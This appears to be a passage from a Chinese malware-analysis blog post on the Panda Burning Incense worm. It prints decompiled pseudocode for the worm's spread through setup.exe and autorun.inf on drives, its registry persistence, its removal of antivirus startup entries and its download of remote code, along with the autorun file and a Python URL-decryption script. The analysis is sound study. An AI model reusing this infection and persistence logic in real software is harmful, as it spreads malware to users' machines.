__strlen_1 = __strlen; lpFileName_1 = lpFileName; v16 = a4; v19 = 0; System::AnsiString_1 = System::AnsiString; System::__linkproc__ LStrAddRef(System::AnsiString); v15 = &savedregs; v14[1] = (unsigned int)&loc_40BE6D; v14[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v14); v13[2] = (unsigned int)&savedregs; v13[1] = (unsigned int)&loc_40BE42; v13[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v13); System::__linkproc__ LStrClr(a2); System::__linkproc__ Assign(v21, System::AnsiString_1); *off_40E2BC = 0; v6 = System::__linkproc__ ResetFile(v21, 1); System::__linkproc__ _IOTest(v6); v7 = System::__linkproc__ FileSize(v21); v8 = System::__linkproc__ _IOTest(v7); while ( 1 ) { v10 = System::__linkproc__ EofFile(v21); if ( (unsigned __int8)System::__linkproc__ _IOTest(v10) ) break; v9 = System::__linkproc__ BlockRead(v22); System::__linkproc__ _IOTest(v9); System::__linkproc__ LStrFromPCharLen(&v19, v20, 20480); System::__linkproc__ LStrCat(a2, v19); } v11 = System::__linkproc__ Close(v21); System::__linkproc__ _IOTest(v11); if ( v8 < unknown_libname_113(*a2) ) System::__linkproc__ LStrCopy(a2); __writefsdword(0, v13[0]); __writefsdword(0, v14[0]); v15 = (int *)&loc_40BE74; System::__linkproc__ LStrClr(&v19); return System::__linkproc__ LStrClr(&System::AnsiString_1); }
|
具体行为就是在盘符根目录(不包括A、B盘符)创建setup.exe以及autorun.inf
setup.exe内容和病毒源文件相同
autorun.inf内容为,目的是在插入媒介(通常是光盘或曾被利用的 U 盘)时提示或尝试自动运行同目录下的 setup.exe
推测为感染可移动介质的手段
1 2 3 4
| [AutoRun] OPEN=setup.exe shellexecute=setup.exe shell\Auto\command=setup.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126
| v26 = &savedregs; v25[1] = (unsigned int)&loc_40C2C6; v25[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v25); v24[2] = (unsigned int)&savedregs; v24[1] = (unsigned int)&loc_40C291; v24[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v24); System::__linkproc__ LStrClr(&v40); System::__linkproc__ LStrClr(&System::AnsiString); System::__linkproc__ LStrClr(&System::AnsiString_1); GetRootPath((int)&v40, a1, a2, (unsigned int)lpFileName); if ( v40 ) { __strlen = unknown_libname_113(v40); if ( __strlen >= 1 ) { do { unknown_libname_108((int)v33); Sysutils::AnsiUpperCase(v33[0]); v22 = (_BYTE *)v33[1]; Sysutils::AnsiUpperCase((const int)System::AnsiString_10); if ( !__linkproc__ LStrPos((_BYTE *)v32[2], v22) ) { unknown_libname_108((int)v32); Sysutils::AnsiUpperCase(v32[0]); v23 = (_BYTE *)v32[1]; Sysutils::AnsiUpperCase((const int)System::AnsiString_11); if ( !__linkproc__ LStrPos((_BYTE *)v31[1], v23) ) { unknown_libname_108((int)v31); System::__linkproc__ LStrCat3(&System::AnsiString, v31[0], aSetupExe_0); unknown_libname_108((int)&v30); System::__linkproc__ LStrCat3(&System::AnsiString_1, v30, aAutorunInf); if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString) ) { System::ParamStr(0); OpenAndRead_File(v29[1], &v37, __strlen, a2, (int)lpFileName); OpenAndRead_File(System::AnsiString, &v36, __strlen, a2, (int)lpFileName); System::__linkproc__ LStrCmp(v37, v36); if ( !v4 ) { lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString); SetFileAttributesA(lpFileName, 0x80u); if ( !DeleteFileA(lpFileName) ) break; unknown_libname_108((int)v29); System::__linkproc__ LStrCat(v29, aSetupExe_0); lpNewFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v29[0]); System::ParamStr(0); lpExistingFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v28[1]); if ( !CopyFileA(lpExistingFileName, lpNewFileName, 0) ) break; } } else { unknown_libname_108((int)v28); System::__linkproc__ LStrCat(v28, aSetupExe_0); lpNewFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v28[0]); System::ParamStr(0); lpExistingFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v27[1]); if ( !CopyFileA(lpExistingFileName_1, lpNewFileName_1, 0) ) break; } if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString_1) ) { OpenAndRead_File(System::AnsiString_1, &v35, __strlen, a2, (int)lpFileName); System::__linkproc__ LStrCmp(v35, aAutorunOpenSet); if ( !v4 ) { lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1); SetFileAttributesA(lpFileName, 0x80u); if ( !DeleteFileA(lpFileName) ) break; FileA_0 = CreateFileA_0(lpFileName, 0x40000000u, 0, 0, 2u, 0, 0); CloseHandle_0(FileA_0); System::__linkproc__ Assign(v34, System::AnsiString_1); *off_40E2BC = 2; v8 = System::__linkproc__ Append(v34); System::__linkproc__ _IOTest(v8); _[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell = System::__linkproc__ WriteLString( (int)v34, (int)aAutorunOpenSet); v10 = System::__linkproc__ Flush(_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell); System::__linkproc__ _IOTest(v10); v11 = System::__linkproc__ Close(v34); System::__linkproc__ _IOTest(v11); } } else { lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1); hObject = CreateFileA_0(lpFileName_1, 0x40000000u, 0, 0, 2u, 0, 0); CloseHandle_0(hObject); System::__linkproc__ Assign(v34, System::AnsiString_1); *off_40E2BC = 2; v14 = System::__linkproc__ Append(v34); System::__linkproc__ _IOTest(v14); _[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell_1 = System::__linkproc__ WriteLString( (int)v34, (int)aAutorunOpenSet); v16 = System::__linkproc__ Flush(_[AutoRun]_r_nOPEN_setup.exe_r_nshellexecute_setup.exe_r_nshell_1); System::__linkproc__ _IOTest(v16); v17 = System::__linkproc__ Close(v34); System::__linkproc__ _IOTest(v17); } unknown_libname_108((int)v27); System::__linkproc__ LStrCat(v27, aSetupExe_0); lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v27[0]); SetFileAttributesA(lpFileName_2, 7u); lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(System::AnsiString_1); SetFileAttributesA(lpFileName_3, 7u); } } --__strlen; } while ( __strlen ); } } __writefsdword(0, v24[0]); __writefsdword(0, v25[0]); System::__linkproc__ LStrArrayClr(&loc_40C2CD); System::__linkproc__ LStrArrayClr(v26); }
|
sub_40BACC
此处开始一个线程

点进sub_40ba8c,再进入sub_40b864
很明显的网络行为

具体流程

sub_40d088
设置了6个定时器,最短的1秒,最长的30分钟

sub_40CEE4
主要是修改注册表启动项的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| void __stdcall sub_40CEE4() { _DWORD v0[2]; int *v1; unsigned int v2; int v3; int savedregs;
v3 = 0; v2 = 0; v1 = &savedregs; v0[1] = &loc_40CF69; v0[0] = NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v0); sub_406E2C(v0[0], &loc_40CF69, &savedregs); GetSystemDirectory((int *)&v2); System::__linkproc__ LStrCatN(&v3, 3); v1 = (int *)System::__linkproc__ LStrToPChar(v3); sub_4051BC( (LPCSTR)0x80000001, aSoftwareMicros, (BYTE *)aSvcshare); sub_4059F0( -2147483646, SOFTWARE__Microsoft__Windows__CurrentVersion__Explorer__Advance, 0); __writefsdword(0, v2); System::__linkproc__ LStrArrayClr(&loc_40CF70); }
|

sub_40d040
套娃

创建线程sub_40c9b0,进去看看

内部的功能是访问一个url,下载恶意代码并执行
这个url是加密后硬编码在程序中


sub_40c4ec
进入这个解密函数看看,伪代码层面看不出来加密过程,需要看汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| int __usercall decode_url@<eax>( int a1@<eax>, int a2@<edx>, unsigned int a3@<ebx>, unsigned int a4@<edi>, unsigned int a5@<esi>) { int v5; int v6; unsigned int v8[6]; int v9; int v10; int v11; int v12; int encryp_url; int savedregs;
v11 = 0; v10 = 0; v9 = 0; v8[5] = a3; v8[4] = a5; v8[3] = a4; v12 = a2; encryp_url = a1; System::__linkproc__ LStrAddRef(a1); v8[2] = (unsigned int)&savedregs; v8[1] = (unsigned int)&loc_40C5C1; v8[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v8); if ( encryp_url ) { System::__linkproc__ LStrLAsg(&v10, aXboy); System::__linkproc__ LStrClr(&v11); v5 = unknown_libname_113(encryp_url); if ( v5 > 0 ) { v6 = 1; do { unknown_libname_113(v10); unknown_libname_108((int)&v9); System::__linkproc__ LStrCat(&v11, v9); ++v6; --v5; } while ( v5 ); } System::__linkproc__ LStrAsg(v12, v11); } else { System::__linkproc__ LStrClr(v12); } __writefsdword(0, v8[0]); System::__linkproc__ LStrArrayClr(&loc_40C5C8); return System::__linkproc__ LStrClr(&encryp_url); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| seg000:0040C550 call unknown_libname_113 ; BDS 2005-2007 and Delphi6-7 Visual Component Library seg000:0040C550 ; Delphi 5 Visual Component Library seg000:0040C555 push eax seg000:0040C556 mov eax, ebx seg000:0040C558 pop edx seg000:0040C559 mov ecx, edx seg000:0040C55B cdq seg000:0040C55C idiv ecx seg000:0040C55E mov edi, edx seg000:0040C560 inc edi seg000:0040C561 mov eax, [ebp+var_10] seg000:0040C564 movzx eax, byte ptr [eax+edi-1] seg000:0040C569 mov ecx, 0Ah seg000:0040C56E xor edx, edx seg000:0040C570 div ecx seg000:0040C572 mov eax, [ebp+encryp_url] seg000:0040C575 movzx eax, byte ptr [eax+ebx-1] seg000:0040C57A xor edx, eax seg000:0040C57C lea eax, [ebp+var_14]
|
给出python的解密脚本
1 2 3 4 5 6 7 8
| key = "xboy" encrypt_data = decode_data = [] magic_num = 10 for i in range(len(encrypt_data)): decode_data.append(chr((ord(key[(i+1)%4]) % magic_num) ^ encrypt_data[i]))
print("".join(decode_data))
|
sub_40d048
创建两个线程,第一个和sub_40d040一样;第二个则是关闭网络共享

sub_40cdec

sub_407430
套娃

停止、删除windwos服务,删除杀软启动项

sub_40cc4c
访问几个常见网站

sub_40c728
同样的下载恶意代码并执行,就是url不一样

具体流程

流程图

0xff.写在最后
笔者花了两天时间,粗略的把这个老古董给分析了一下
挺有意思的,“小而精致”用来评价熊猫烧香鼠鼠觉得没啥大问题
同时笔者也有借口两天不看行测申论这种ex玩意了😋
还是喜欢这种兴趣主导的学习😭😭😭😭
但是鼠鼠还是没解决怎么5.0的火绒剑一跑就崩的问题👊
Refer
经典病毒分析——熊猫烧香 - 吾爱破解 - 52pojie.cn
xiongmao/熊猫烧香_analysis.zip at main · Korey0sh1/xiongmao笔者把文件打包好了😋